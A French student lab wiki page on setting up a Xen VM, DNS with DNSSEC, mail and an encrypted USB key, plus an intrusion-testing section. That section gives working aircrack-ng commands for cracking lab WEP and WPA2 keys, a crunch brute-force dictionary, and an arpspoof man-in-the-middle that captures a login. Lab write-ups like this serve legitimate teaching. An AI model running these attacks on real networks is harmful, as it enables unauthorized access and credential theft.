On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53937TP sysres IMA2a5 2020/2021 G52020-11-20T08:54:30Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|200px|thumb|left|texte descriptif]]<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
